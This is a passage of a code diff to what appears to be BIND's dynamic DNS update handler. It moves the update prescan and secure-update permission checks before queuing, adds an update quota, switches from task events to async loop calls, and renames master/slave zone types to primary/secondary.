+					FAILNT(DNS_R_REFUSED, name, rdata.type,
+					       reason);
+				}
+			}
+		} else if (update_class == dns_rdataclass_any) {
+			if (ttl != 0 || rdata.length != 0 ||
+			    (dns_rdatatype_ismeta(rdata.type) &&
+			     rdata.type != dns_rdatatype_any))
+			{
+				FAILC(DNS_R_FORMERR, "meta-RR in update");
+			}
+		} else if (update_class == dns_rdataclass_none) {
+			if (ttl != 0 || dns_rdatatype_ismeta(rdata.type)) {
+				FAILC(DNS_R_FORMERR, "meta-RR in update");
+			}
+		} else {
+			update_log(client, zone, ISC_LOG_WARNING,
+				   "update RR has incorrect class %d",
+				   update_class);
+			FAIL(DNS_R_FORMERR);
+		}
+
+		/*
+		 * draft-ietf-dnsind-simple-secure-update-01 says
+		 * "Unlike traditional dynamic update, the client
+		 * is forbidden from updating NSEC records."
+		 */
+		if (rdata.type == dns_rdatatype_nsec3) {
+			FAILC(DNS_R_REFUSED, "explicit NSEC3 updates are not "
+					     "allowed "
+					     "in secure zones");
+		} else if (rdata.type == dns_rdatatype_nsec) {
+			FAILC(DNS_R_REFUSED, "explicit NSEC updates are not "
+					     "allowed "
+					     "in secure zones");
+		} else if (rdata.type == dns_rdatatype_rrsig &&
+			   !dns_name_equal(name, zonename))
+		{
+			FAILC(DNS_R_REFUSED, "explicit RRSIG updates are "
+					     "currently "
+					     "not supported in secure zones "
+					     "except "
+					     "at the apex");
+		}
+
+		if (ssutable != NULL) {
+			isc_netaddr_t netaddr;
+			dns_name_t *target = NULL;
+			dst_key_t *tsigkey = NULL;
+			dns_rdata_ptr_t ptr;
+			dns_rdata_in_srv_t srv;
+
+			isc_netaddr_fromsockaddr(&netaddr, &client->peeraddr);
+
+			if (client->message->tsigkey != NULL) {
+				tsigkey = client->message->tsigkey->key;
+			}
+
+			if ((update_class == dns_rdataclass_in ||
+			     update_class == dns_rdataclass_none) &&
+			    rdata.type == dns_rdatatype_ptr)
+			{
+				result = dns_rdata_tostruct(&rdata, &ptr, NULL);
+				RUNTIME_CHECK(result == ISC_R_SUCCESS);
+				target = &ptr.ptr;
+			}
+
+			if ((update_class == dns_rdataclass_in ||
+			     update_class == dns_rdataclass_none) &&
+			    rdata.type == dns_rdatatype_srv)
+			{
+				result = dns_rdata_tostruct(&rdata, &srv, NULL);
+				RUNTIME_CHECK(result == ISC_R_SUCCESS);
+				target = &srv.target;
+			}
+
+			if (update_class == dns_rdataclass_any &&
+			    zoneclass == dns_rdataclass_in &&
+			    (rdata.type == dns_rdatatype_ptr ||
+			     rdata.type == dns_rdatatype_srv))
+			{
+				ssu_check_t ssuinfo;
+
+				ssuinfo.name = name;
+				ssuinfo.table = ssutable;
+				ssuinfo.signer = client->signer;
+				ssuinfo.addr = &netaddr;
+				ssuinfo.aclenv = env;
+				ssuinfo.tcp = TCPCLIENT(client);
+				ssuinfo.key = tsigkey;
+
+				result = foreach_rr(db, ver, name, rdata.type,
+						    dns_rdatatype_none,
+						    ssu_checkrr, &ssuinfo);
+				if (result != ISC_R_SUCCESS) {
+					FAILC(DNS_R_REFUSED,
+					      "rejected by secure update");
+				}
+			} else if (target != NULL &&
+				   update_class == dns_rdataclass_none)
+			{
+				bool flag;
+				CHECK(rr_exists(db, ver, name, &rdata, &flag));
+				if (flag &&
+				    !dns_ssutable_checkrules(
+					    ssutable, client->signer, name,
+					    &netaddr, TCPCLIENT(client), env,
+					    rdata.type, target, tsigkey,
+					    &rules[rule]))
+				{
+					FAILC(DNS_R_REFUSED,
+					      "rejected by secure update");
+				}
+			} else if (rdata.type != dns_rdatatype_any) {
+				if (!dns_ssutable_checkrules(
+					    ssutable, client->signer, name,
+					    &netaddr, TCPCLIENT(client), env,
+					    rdata.type, target, tsigkey,
+					    &rules[rule]))
+				{
+					FAILC(DNS_R_REFUSED, "rejected by "
+							     "secure update");
+				}
+			} else {
+				if (!ssu_checkall(db, ver, name, ssutable,
+						  client->signer, &netaddr, env,
+						  TCPCLIENT(client), tsigkey))
+				{
+					FAILC(DNS_R_REFUSED, "rejected by "
+							     "secure update");
+				}
+			}
+		}
+	}
+	if (result != ISC_R_NOMORE) {
+		FAIL(result);
+	}
 
-	event = (update_event_t *)isc_event_allocate(
-		client->mctx, client, DNS_EVENT_UPDATE, update_action, NULL,
-		sizeof(*event));
-	event->zone = zone;
-	event->result = ISC_R_SUCCESS;
+	update_log(client, zone, LOGLEVEL_DEBUG, "update section prescan OK");
 
-	INSIST(client->nupdates == 0);
-	client->nupdates++;
-	event->ev_arg = client;
+	result = isc_quota_acquire(&client->manager->sctx->updquota);
+	if (result != ISC_R_SUCCESS) {
+		update_log(client, zone, LOGLEVEL_PROTOCOL,
+			   "update failed: too many DNS UPDATEs queued (%s)",
+			   isc_result_totext(result));
+		ns_stats_increment(client->manager->sctx->nsstats,
+				   ns_statscounter_updatequota);
+		CHECK(DNS_R_DROP);
+	}
+
+	uev = isc_mem_get(client->manager->mctx, sizeof(*uev));
+	*uev = (update_t){
+		.zone = zone,
+		.client = client,
+		.rules = rules,
+		.ruleslen = ruleslen,
+		.result = ISC_R_SUCCESS,
+	};
 
 	isc_nmhandle_attach(client->handle, &client->updatehandle);
-	dns_zone_gettask(zone, &zonetask);
-	isc_task_send(zonetask, ISC_EVENT_PTR(&event));
+	isc_async_run(dns_zone_getloop(zone), update_action, uev);
+	rules = NULL;
+
+failure:
+	if (db != NULL) {
+		dns_db_closeversion(db, &ver, false);
+		dns_db_detach(&db);
+	}
+
+	if (rules != NULL) {
+		isc_mem_cput(mctx, rules, ruleslen, sizeof(*rules));
+	}
+
+	if (ssutable != NULL) {
+		dns_ssutable_detach(&ssutable);
+	}
 
 	return (result);
 }
@@ -1581,19 +1928,17 @@ respond(ns_client_t *client, isc_result_t result) {
 
 	msg_result = dns_message_reply(client->message, true);
 	if (msg_result != ISC_R_SUCCESS) {
-		goto msg_failure;
+		isc_log_write(ns_lctx, NS_LOGCATEGORY_UPDATE,
+			      NS_LOGMODULE_UPDATE, ISC_LOG_ERROR,
+			      "could not create update response message: %s",
+			      isc_result_totext(msg_result));
+		ns_client_drop(client, msg_result);
+		isc_nmhandle_detach(&client->reqhandle);
+		return;
 	}
-	client->message->rcode = dns_result_torcode(result);
 
+	client->message->rcode = dns_result_torcode(result);
 	ns_client_send(client);
-	return;
-
-msg_failure:
-	isc_log_write(ns_lctx, NS_LOGCATEGORY_UPDATE, NS_LOGMODULE_UPDATE,
-		      ISC_LOG_ERROR,
-		      "could not create update response message: %s",
-		      isc_result_totext(msg_result));
-	ns_client_drop(client, msg_result);
 	isc_nmhandle_detach(&client->reqhandle);
 }
 
@@ -1607,7 +1952,8 @@ ns_update_start(ns_client_t *client, isc_nmhandle_t *handle,
 	dns_zone_t *zone = NULL, *raw = NULL;
 
 	/*
-	 * Attach to the request handle
+	 * Attach to the request handle. This will be held until
+	 * we respond, or drop the request.
 	 */
 	isc_nmhandle_attach(handle, &client->reqhandle);
 
@@ -1641,9 +1987,11 @@ ns_update_start(ns_client_t *client, isc_nmhandle_t *handle,
 				     "RRs");
 	}
 
-	result = dns_zt_find(client->view->zonetable, zonename, 0, NULL, &zone);
+	result = dns_view_findzone(client->view, zonename, DNS_ZTFIND_EXACT,
+				   &zone);
 	if (result != ISC_R_SUCCESS) {
-		FAILC(DNS_R_NOTAUTH, "not authoritative for update zone");
+		FAILN(DNS_R_NOTAUTH, zonename,
+		      "not authoritative for update zone");
 	}
 
 	/*
@@ -1658,48 +2006,48 @@ ns_update_start(ns_client_t *client, isc_nmhandle_t *handle,
 	}
 
 	switch (dns_zone_gettype(zone)) {
-	case dns_zone_master:
+	case dns_zone_primary:
 	case dns_zone_dlz:
 		/*
 		 * We can now fail due to a bad signature as we now know
-		 * that we are the master.
+		 * that we are the primary.
 		 */
 		if (sigresult != ISC_R_SUCCESS) {
 			FAIL(sigresult);
 		}
 		dns_message_clonebuffer(client->message);
-		CHECK(send_update_event(client, zone));
+		CHECK(send_update(client, zone));
 		break;
-	case dns_zone_slave:
+	case dns_zone_secondary:
 	case dns_zone_mirror:
-		CHECK(checkupdateacl(client, dns_zone_getforwardacl(zone),
-				     "update forwarding", zonename, true,
-				     false));
-		CHECK(send_forward_event(client, zone));
+		dns_message_clonebuffer(client->message);
+		CHECK(send_forward(client, zone));
 		break;
 	default:
 		FAILC(DNS_R_NOTAUTH, "not authoritative for update zone");
 	}
-
-	isc_nmhandle_detach(&client->reqhandle);
 	return;
 
 failure:
 	if (result == DNS_R_REFUSED) {
-		INSIST(dns_zone_gettype(zone) == dns_zone_slave ||
-		       dns_zone_gettype(zone) == dns_zone_mirror);
 		inc_stats(client, zone, ns_statscounter_updaterej);
 	}
+
 	/*
 	 * We failed without having sent an update event to the zone.
-	 * We are still in the client task context, so we can
+	 * We are still in the client context, so we can
 	 * simply give an error response without switching tasks.
 	 */
-	respond(client, result);
+	if (result == DNS_R_DROP) {
+		ns_client_drop(client, result);
+		isc_nmhandle_detach(&client->reqhandle);
+	} else {
+		respond(client, result);
+	}
+
 	if (zone != NULL) {
 		dns_zone_detach(&zone);
 	}
-	isc_nmhandle_detach(&client->reqhandle);
 }
 
 /*%
@@ -1730,7 +2078,8 @@ remove_orphaned_ds(dns_db_t *db, dns_dbversion_t *newver, dns_diff_t *diff) {
 		CHECK(rrset_exists(db, newver, &tuple->name, dns_rdatatype_ns,
 				   0, &ns_exists));
 		if (ns_exists &&
-		    !dns_name_equal(&tuple->name, dns_db_origin(db))) {
+		    !dns_name_equal(&tuple->name, dns_db_origin(db)))
+		{
 			continue;
 		}
 		CHECK(delete_if(true_p, db, newver, &tuple->name,
@@ -1775,9 +2124,11 @@ check_mx(ns_client_t *client, dns_zone_t *zone, dns_db_t *db,
 	options = dns_zone_getoptions(zone);
 
 	for (t = ISC_LIST_HEAD(diff->tuples); t != NULL;
-	     t = ISC_LIST_NEXT(t, link)) {
+	     t = ISC_LIST_NEXT(t, link))
+	{
 		if (t->op != DNS_DIFFOP_ADD ||
-		    t->rdata.type != dns_rdatatype_mx) {
+		    t->rdata.type != dns_rdatatype_mx)
+		{
 			continue;
 		}
 
@@ -1806,13 +2157,13 @@ check_mx(ns_client_t *client, dns_zone_t *zone, dns_db_t *db,
 		if (isaddress && (options & DNS_ZONEOPT_CHECKMXFAIL) != 0) {
 			update_log(client, zone, ISC_LOG_ERROR,
 				   "%s/MX: '%s': %s", ownerbuf, namebuf,
-				   dns_result_totext(DNS_R_MXISADDRESS));
+				   isc_result_totext(DNS_R_MXISADDRESS));
 			ok = false;
 		} else if (isaddress) {
 			update_log(client, zone, ISC_LOG_WARNING,
 				   "%s/MX: warning: '%s': %s", ownerbuf,
 				   namebuf,
-				   dns_result_totext(DNS_R_MXISADDRESS));
+				   isc_result_totext(DNS_R_MXISADDRESS));
 		}
 
 		/*
@@ -1867,9 +2218,16 @@ rr_exists(dns_db_t *db, dns_dbversion_t *ver, dns_name_t *name,
 
 	dns_rdataset_init(&rdataset);
 	if (rdata->type == dns_rdatatype_nsec3) {
-		CHECK(dns_db_findnsec3node(db, name, false, &node));
+		result = dns_db_findnsec3node(db, name, false, &node);
+	} else {
+		result = dns_db_findnode(db, name, false, &node);
+	}
+	if (result == ISC_R_NOTFOUND) {
+		*flag = false;
+		result = ISC_R_SUCCESS;
+		goto failure;
 	} else {
-		CHECK(dns_db_findnode(db, name, false, &node));
+		CHECK(result);
 	}
 	result = dns_db_findrdataset(db, node, ver, rdata->type, 0,
 				     (isc_stdtime_t)0, &rdataset, NULL);
@@ -1969,7 +2327,8 @@ get_iterations(dns_db_t *db, dns_dbversion_t *ver, dns_rdatatype_t privatetype,
 
 		dns_rdataset_current(&rdataset, &rdata);
 		if (!dns_nsec3param_fromprivate(&private, &rdata, buf,
-						sizeof(buf))) {
+						sizeof(buf)))
+		{
 			continue;
 		}
 		CHECK(dns_rdata_tostruct(&rdata, &nsec3param, NULL));
@@ -2005,56 +2364,12 @@ get_iterations(dns_db_t *db, dns_dbversion_t *ver, dns_rdatatype_t privatetype,
 static isc_result_t
 check_dnssec(ns_client_t *client, dns_zone_t *zone, dns_db_t *db,
 	     dns_dbversion_t *ver, dns_diff_t *diff) {
-	dns_difftuple_t *tuple;
-	bool nseconly = false, nsec3 = false;
 	isc_result_t result;
 	unsigned int iterations = 0;
 	dns_rdatatype_t privatetype = dns_zone_getprivatetype(zone);
 
-	/* Scan the tuples for an NSEC-only DNSKEY or an NSEC3PARAM */
-	for (tuple = ISC_LIST_HEAD(diff->tuples); tuple != NULL;
-	     tuple = ISC_LIST_NEXT(tuple, link))
-	{
-		if (tuple->op != DNS_DIFFOP_ADD) {
-			continue;
-		}
-
-		if (tuple->rdata.type == dns_rdatatype_dnskey) {
-			uint8_t alg;
-			alg = tuple->rdata.data[3];
-			if (alg == DST_ALG_RSASHA1) {
-				nseconly = true;
-				break;
-			}
-		} else if (tuple->rdata.type == dns_rdatatype_nsec3param) {
-			nsec3 = true;
-			break;
-		}
-	}
-
-	/* Check existing DB for NSEC-only DNSKEY */
-	if (!nseconly) {
-		result = dns_nsec_nseconly(db, ver, &nseconly);
-
-		/*
-		 * An NSEC3PARAM update can proceed without a DNSKEY (it
-		 * will trigger a delayed change), so we can ignore
-		 * ISC_R_NOTFOUND here.
-		 */
-		if (result == ISC_R_NOTFOUND) {
-			result = ISC_R_SUCCESS;
-		}
-
-		CHECK(result);
-	}
-
-	/* Check existing DB for NSEC3 */
-	if (!nsec3) {
-		CHECK(dns_nsec3_activex(db, ver, false, privatetype, &nsec3));
-	}
-
 	/* Refuse to allow NSEC3 with NSEC-only keys */
-	if (nseconly && nsec3) {
+	if (!dns_zone_check_dnskey_nsec3(zone, db, ver, diff, NULL, 0)) {
 		update_log(client, zone, ISC_LOG_ERROR,
 			   "NSEC only DNSKEYs and NSEC3 chains not allowed");
 		result = DNS_R_REFUSED;
@@ -2117,7 +2432,8 @@ add_nsec3param_records(ns_client_t *client, dns_zone_t *zone, dns_db_t *db,
 	 * delayed changes.
 	 */
 	for (tuple = ISC_LIST_HEAD(temp_diff.tuples); tuple != NULL;
-	     tuple = next) {
+	     tuple = next)
+	{
 		if (tuple->op == DNS_DIFFOP_ADD) {
 			if (!ttl_good) {
 				/*
@@ -2176,7 +2492,8 @@ add_nsec3param_records(ns_client_t *client, dns_zone_t *zone, dns_db_t *db,
 	 * taking into account any TTL change of the NSEC3PARAM RRset.
 	 */
 	for (tuple = ISC_LIST_HEAD(temp_diff.tuples); tuple != NULL;
-	     tuple = next) {
+	     tuple = next)
+	{
 		next = ISC_LIST_NEXT(tuple, link);
 		if ((tuple->rdata.data[1] & ~DNS_NSEC3FLAG_OPTOUT) != 0) {
 			/*
@@ -2204,7 +2521,8 @@ add_nsec3param_records(ns_client_t *client, dns_zone_t *zone, dns_db_t *db,
 	 * deletions.
 	 */
 	for (tuple = ISC_LIST_HEAD(temp_diff.tuples); tuple != NULL;
-	     tuple = next) {
+	     tuple = next)
+	{
 		/*
 		 * If we haven't had any adds then the tuple->ttl must be the
 		 * original ttl and should be used for any future changes.
@@ -2255,8 +2573,11 @@ add_nsec3param_records(ns_client_t *client, dns_zone_t *zone, dns_db_t *db,
 			 * supporting an NSEC3 chain, then we set the
 			 * INITIAL flag to indicate that these parameters
 			 * are to be used later.
+			 *
+			 * Don't provide a 'diff' here because we want to
+			 * know the capability of the current database.
 			 */
-			result = dns_nsec_nseconly(db, ver, &nseconly);
+			result = dns_nsec_nseconly(db, ver, NULL, &nseconly);
 			if (result == ISC_R_NOTFOUND || nseconly) {
 				buf[2] |= DNS_NSEC3FLAG_INITIAL;
 			}
@@ -2306,7 +2627,8 @@ add_nsec3param_records(ns_client_t *client, dns_zone_t *zone, dns_db_t *db,
 	}
 
 	for (tuple = ISC_LIST_HEAD(temp_diff.tuples); tuple != NULL;
-	     tuple = next) {
+	     tuple = next)
+	{
 		INSIST(ttl_good);
 
 		next = ISC_LIST_NEXT(tuple, link);
@@ -2366,7 +2688,8 @@ rollback_private(dns_db_t *db, dns_rdatatype_t privatetype,
 		next = ISC_LIST_NEXT(tuple, link);
 
 		if (tuple->rdata.type != privatetype ||
-		    !dns_name_equal(name, &tuple->name)) {
+		    !dns_name_equal(name, &tuple->name))
+		{
 			continue;
 		}
 
@@ -2401,146 +2724,6 @@ rollback_private(dns_db_t *db, dns_rdatatype_t privatetype,
 	return (result);
 }
 
-/*
- * Add records to cause the delayed signing of the zone by added DNSKEY
- * to remove the RRSIG records generated by a deleted DNSKEY.
- */
-static isc_result_t
-add_signing_records(dns_db_t *db, dns_rdatatype_t privatetype,
-		    dns_dbversion_t *ver, dns_diff_t *diff) {
-	dns_difftuple_t *tuple, *newtuple = NULL, *next;
-	dns_rdata_dnskey_t dnskey;
-	dns_rdata_t rdata = DNS_RDATA_INIT;
-	bool flag;
-	isc_region_t r;
-	isc_result_t result = ISC_R_SUCCESS;
-	uint16_t keyid;
-	unsigned char buf[5];
-	dns_name_t *name = dns_db_origin(db);
-	dns_diff_t temp_diff;
-
-	dns_diff_init(diff->mctx, &temp_diff);
-
-	/*
-	 * Extract the DNSKEY tuples from the list.
-	 */
-	for (tuple = ISC_LIST_HEAD(diff->tuples); tuple != NULL; tuple = next) {
-		next = ISC_LIST_NEXT(tuple, link);
-
-		if (tuple->rdata.type != dns_rdatatype_dnskey) {
-			continue;
-		}
-
-		ISC_LIST_UNLINK(diff->tuples, tuple, link);
-		ISC_LIST_APPEND(temp_diff.tuples, tuple, link);
-	}
-
-	/*
-	 * Extract TTL changes pairs, we don't need signing records for these.
-	 */
-	for (tuple = ISC_LIST_HEAD(temp_diff.tuples); tuple != NULL;
-	     tuple = next) {
-		if (tuple->op == DNS_DIFFOP_ADD) {
-			/*
-			 * Walk the temp_diff list looking for the
-			 * corresponding delete.
-			 */
-			next = ISC_LIST_HEAD(temp_diff.tuples);
-			while (next != NULL) {
-				unsigned char *next_data = next->rdata.data;
-				unsigned char *tuple_data = tuple->rdata.data;
-				if (next->op == DNS_DIFFOP_DEL &&
-				    dns_name_equal(&tuple->name, &next->name) &&
-				    next->rdata.length == tuple->rdata.length &&
-				    !memcmp(next_data, tuple_data,
-					    next->rdata.length))
-				{
-					ISC_LIST_UNLINK(temp_diff.tuples, next,
-							link);
-					ISC_LIST_APPEND(diff->tuples, next,
-							link);
-					break;
-				}
-				next = ISC_LIST_NEXT(next, link);
-			}
-			/*
-			 * If we have not found a pair move onto the next
-			 * tuple.
-			 */
-			if (next == NULL) {
-				next = ISC_LIST_NEXT(tuple, link);
-				continue;
-			}
-			/*
-			 * Find the next tuple to be processed before
-			 * unlinking then complete moving the pair to 'diff'.
-			 */
-			next = ISC_LIST_NEXT(tuple, link);
-			ISC_LIST_UNLINK(temp_diff.tuples, tuple, link);
-			ISC_LIST_APPEND(diff->tuples, tuple, link);
-		} else {
-			next = ISC_LIST_NEXT(tuple, link);
-		}
-	}
-
-	/*
-	 * Process the remaining DNSKEY entries.
-	 */
-	for (tuple = ISC_LIST_HEAD(temp_diff.tuples); tuple != NULL;
-	     tuple = ISC_LIST_HEAD(temp_diff.tuples))
-	{
-		ISC_LIST_UNLINK(temp_diff.tuples, tuple, link);
-		ISC_LIST_APPEND(diff->tuples, tuple, link);
-
-		result = dns_rdata_tostruct(&tuple->rdata, &dnskey, NULL);
-		RUNTIME_CHECK(result == ISC_R_SUCCESS);
-		if ((dnskey.flags & (DNS_KEYFLAG_OWNERMASK |
-				     DNS_KEYTYPE_NOAUTH)) != DNS_KEYOWNER_ZONE)
-		{
-			continue;
-		}
-
-		dns_rdata_toregion(&tuple->rdata, &r);
-
-		keyid = dst_region_computeid(&r);
-
-		buf[0] = dnskey.algorithm;
-		buf[1] = (keyid & 0xff00) >> 8;
-		buf[2] = (keyid & 0xff);
-		buf[3] = (tuple->op == DNS_DIFFOP_ADD) ? 0 : 1;
-		buf[4] = 0;
-		rdata.data = buf;
-		rdata.length = sizeof(buf);
-		rdata.type = privatetype;
-		rdata.rdclass = tuple->rdata.rdclass;
-
-		CHECK(rr_exists(db, ver, name, &rdata, &flag));
-		if (flag) {
-			continue;
-		}
-		CHECK(dns_difftuple_create(diff->mctx, DNS_DIFFOP_ADD, name, 0,
-					   &rdata, &newtuple));
-		CHECK(do_one_tuple(&newtuple, db, ver, diff));
-		INSIST(newtuple == NULL);
-		/*
-		 * Remove any record which says this operation has already
-		 * completed.
-		 */
-		buf[4] = 1;
-		CHECK(rr_exists(db, ver, name, &rdata, &flag));
-		if (flag) {
-			CHECK(dns_difftuple_create(diff->mctx, DNS_DIFFOP_DEL,
-						   name, 0, &rdata, &newtuple));
-			CHECK(do_one_tuple(&newtuple, db, ver, diff));
-			INSIST(newtuple == NULL);
-		}
-	}
-
-failure:
-	dns_diff_clear(&temp_diff);
-	return (result);
-}
-
 static bool
 isdnssec(dns_db_t *db, dns_dbversion_t *ver, dns_rdatatype_t privatetype) {
 	isc_result_t result;
@@ -2557,10 +2740,12 @@ isdnssec(dns_db_t *db, dns_dbversion_t *ver, dns_rdatatype_t privatetype) {
 }
 
 static void
-update_action(isc_task_t *task, isc_event_t *event) {
-	update_event_t *uev = (update_event_t *)event;
+update_action(void *arg) {
+	update_t *uev = (update_t *)arg;
 	dns_zone_t *zone = uev->zone;
-	ns_client_t *client = (ns_client_t *)event->ev_arg;
+	ns_client_t *client = uev->client;
+	const dns_ssurule_t **rules = uev->rules;
+	size_t rule = 0, ruleslen = uev->ruleslen;
 	isc_result_t result;
 	dns_db_t *db = NULL;
 	dns_dbversion_t *oldver = NULL;
@@ -2568,28 +2753,21 @@ update_action(isc_task_t *task, isc_event_t *event) {
 	dns_diff_t diff; /* Pending updates. */
 	dns_diff_t temp; /* Pending RR existence assertions. */
 	bool soa_serial_changed = false;
-	isc_mem_t *mctx = client->mctx;
+	isc_mem_t *mctx = client->manager->mctx;
 	dns_rdatatype_t covers;
 	dns_message_t *request = client->message;
 	dns_rdataclass_t zoneclass;
-	dns_name_t *zonename;
+	dns_name_t *zonename = NULL;
 	dns_ssutable_t *ssutable = NULL;
 	dns_fixedname_t tmpnamefixed;
 	dns_name_t *tmpname = NULL;
 	dns_zoneopt_t options;
-	dns_difftuple_t *tuple;
-	dns_rdata_dnskey_t dnskey;
 	bool had_dnskey;
 	dns_rdatatype_t privatetype = dns_zone_getprivatetype(zone);
 	dns_ttl_t maxttl = 0;
 	uint32_t maxrecords;
 	uint64_t records;
-	dns_aclenv_t *env = client->manager->aclenv;
-	size_t ruleslen = 0;
-	size_t rule;
-	const dns_ssurule_t **rules = NULL;
-
-	INSIST(event->ev_type == DNS_EVENT_UPDATE);
+	bool is_inline, is_maintain, is_signing;
 
 	dns_diff_init(mctx, &diff);
 	dns_diff_init(mctx, &temp);
@@ -2598,14 +2776,11 @@ update_action(isc_task_t *task, isc_event_t *event) {
 	zonename = dns_db_origin(db);
 	zoneclass = dns_db_class(db);
 	dns_zone_getssutable(zone, &ssutable);
+	options = dns_zone_getoptions(zone);
 
-	/*
-	 * Update message processing can leak record existence information
-	 * so check that we are allowed to query this zone.  Additionally
-	 * if we would refuse all updates for this zone we bail out here.
-	 */
-	CHECK(checkqueryacl(client, dns_zone_getqueryacl(zone), zonename,
-			    dns_zone_getupdateacl(zone), ssutable));
+	is_inline = (!dns_zone_israw(zone) && dns_zone_issecure(zone));
+	is_maintain = ((dns_zone_getkeyopts(zone) & DNS_ZONEKEY_MAINTAIN) != 0);
+	is_signing = is_inline || (!is_inline && is_maintain);
 
 	/*
 	 * Get old and new versions now that queryacl has been checked.
@@ -2699,10 +2874,9 @@ update_action(isc_task_t *task, isc_event_t *event) {
 			/* "temp<rr.name, rr.type> += rr;" */
 			result = temp_append(&temp, name, &rdata);
 			if (result != ISC_R_SUCCESS) {
-				UNEXPECTED_ERROR(__FILE__, __LINE__,
-						 "temp entry creation failed: "
-						 "%s",
-						 dns_result_totext(result));
+				UNEXPECTED_ERROR(
+					"temp entry creation failed: %s",
+					isc_result_totext(result));
 				FAIL(ISC_R_UNEXPECTED);
 			}
 		} else {
@@ -2741,144 +2915,10 @@ update_action(isc_task_t *task, isc_event_t *event) {
 
 	update_log(client, zone, LOGLEVEL_DEBUG, "prerequisites are OK");
 
-	/*
-	 * Check Requestor's Permissions.  It seems a bit silly to do this
-	 * only after prerequisite testing, but that is what RFC2136 says.
-	 */
-	if (ssutable == NULL) {
-		CHECK(checkupdateacl(client, dns_zone_getupdateacl(zone),
-				     "update", zonename, false, false));
-	} else if (client->signer == NULL && !TCPCLIENT(client)) {
-		CHECK(checkupdateacl(client, NULL, "update", zonename, false,
-				     true));
-	}
-
-	if (dns_zone_getupdatedisabled(zone)) {
-		FAILC(DNS_R_REFUSED, "dynamic update temporarily disabled "
-				     "because the zone is frozen.  Use "
-				     "'rndc thaw' to re-enable updates.");
-	}
-
-	/*
-	 * Perform the Update Section Prescan.
-	 */
-	if (ssutable != NULL) {
-		ruleslen = request->counts[DNS_SECTION_UPDATE];
-		rules = isc_mem_get(mctx, sizeof(*rules) * ruleslen);
-		memset(rules, 0, sizeof(*rules) * ruleslen);
-	}
-
-	for (rule = 0,
-	    result = dns_message_firstname(request, DNS_SECTION_UPDATE);
-	     result == ISC_R_SUCCESS;
-	     rule++, result = dns_message_nextname(request, DNS_SECTION_UPDATE))
-	{
-		dns_name_t *name = NULL;
-		dns_rdata_t rdata = DNS_RDATA_INIT;
-		dns_ttl_t ttl;
-		dns_rdataclass_t update_class;
-
-		INSIST(ssutable == NULL || rule < ruleslen);
-
-		get_current_rr(request, DNS_SECTION_UPDATE, zoneclass, &name,
-			       &rdata, &covers, &ttl, &update_class);
-
-		if (!dns_name_issubdomain(name, zonename)) {
-			FAILC(DNS_R_NOTZONE, "update RR is outside zone");
-		}
-		if (update_class == zoneclass) {
-			/*
-			 * Check for meta-RRs.  The RFC2136 pseudocode says
-			 * check for ANY|AXFR|MAILA|MAILB, but the text adds
-			 * "or any other QUERY metatype"
-			 */
-			if (dns_rdatatype_ismeta(rdata.type)) {
-				FAILC(DNS_R_FORMERR, "meta-RR in update");
-			}
-			result = dns_zone_checknames(zone, name, &rdata);
-			if (result != ISC_R_SUCCESS) {
-				FAIL(DNS_R_REFUSED);
-			}
-		} else if (update_class == dns_rdataclass_any) {
-			if (ttl != 0 || rdata.length != 0 ||
-			    (dns_rdatatype_ismeta(rdata.type) &&
-			     rdata.type != dns_rdatatype_any))
-			{
-				FAILC(DNS_R_FORMERR, "meta-RR in update");
-			}
-		} else if (update_class == dns_rdataclass_none) {
-			if (ttl != 0 || dns_rdatatype_ismeta(rdata.type)) {
-				FAILC(DNS_R_FORMERR, "meta-RR in update");
-			}
-		} else {
-			update_log(client, zone, ISC_LOG_WARNING,
-				   "update RR has incorrect class %d",
-				   update_class);
-			FAIL(DNS_R_FORMERR);
-		}
-
-		/*
-		 * draft-ietf-dnsind-simple-secure-update-01 says
-		 * "Unlike traditional dynamic update, the client
-		 * is forbidden from updating NSEC records."
-		 */
-		if (rdata.type == dns_rdatatype_nsec3) {
-			FAILC(DNS_R_REFUSED, "explicit NSEC3 updates are not "
-					     "allowed "
-					     "in secure zones");
-		} else if (rdata.type == dns_rdatatype_nsec) {
-			FAILC(DNS_R_REFUSED, "explicit NSEC updates are not "
-					     "allowed "
-					     "in secure zones");
-		} else if (rdata.type == dns_rdatatype_rrsig &&
-			   !dns_name_equal(name, zonename)) {
-			FAILC(DNS_R_REFUSED, "explicit RRSIG updates are "
-					     "currently "
-					     "not supported in secure zones "
-					     "except "
-					     "at the apex");
-		}
-
-		if (ssutable != NULL) {
-			isc_netaddr_t netaddr;
-			dst_key_t *tsigkey = NULL;
-			isc_netaddr_fromsockaddr(&netaddr, &client->peeraddr);
-
-			if (client->message->tsigkey != NULL) {
-				tsigkey = client->message->tsigkey->key;
-			}
-
-			if (rdata.type != dns_rdatatype_any) {
-				if (!dns_ssutable_checkrules(
-					    ssutable, client->signer, name,
-					    &netaddr, TCPCLIENT(client), env,
-					    rdata.type, tsigkey, &rules[rule]))
-				{
-					FAILC(DNS_R_REFUSED, "rejected by "
-							     "secure update");
-				}
-			} else {
-				if (!ssu_checkall(db, ver, name, ssutable,
-						  client->signer, &netaddr, env,
-						  TCPCLIENT(client), tsigkey))
-				{
-					FAILC(DNS_R_REFUSED, "rejected by "
-							     "secure update");
-				}
-			}
-		}
-	}
-	if (result != ISC_R_NOMORE) {
-		FAIL(result);
-	}
-
-	update_log(client, zone, LOGLEVEL_DEBUG, "update section prescan OK");
-
 	/*
 	 * Process the Update Section.
 	 */
-
-	options = dns_zone_getoptions(zone);
+	INSIST(ssutable == NULL || rules != NULL);
 	for (rule = 0,
 	    result = dns_message_firstname(request, DNS_SECTION_UPDATE);
 	     result == ISC_R_SUCCESS;
@@ -2899,10 +2939,11 @@ update_action(isc_task_t *task, isc_event_t *event) {
 			unsigned int max = 0;
 
 			/*
-			 * RFC1123 doesn't allow MF and MD in master zones.
+			 * RFC1123 doesn't allow MF and MD in master files.
 			 */
 			if (rdata.type == dns_rdatatype_md ||
-			    rdata.type == dns_rdatatype_mf) {
+			    rdata.type == dns_rdatatype_mf)
+			{
 				char typebuf[DNS_RDATATYPE_FORMATSIZE];
 
 				dns_rdatatype_format(rdata.type, typebuf,
@@ -2976,7 +3017,8 @@ update_action(isc_task_t *task, isc_event_t *event) {
 			}
 
 			if (dns_rdatatype_atparent(rdata.type) &&
-			    dns_name_equal(name, zonename)) {
+			    dns_name_equal(name, zonename))
+			{
 				char typebuf[DNS_RDATATYPE_FORMATSIZE];
 
 				dns_rdatatype_format(rdata.type, typebuf,
@@ -3003,7 +3045,8 @@ update_action(isc_task_t *task, isc_event_t *event) {
 				 * with any flags other than OPTOUT.
 				 */
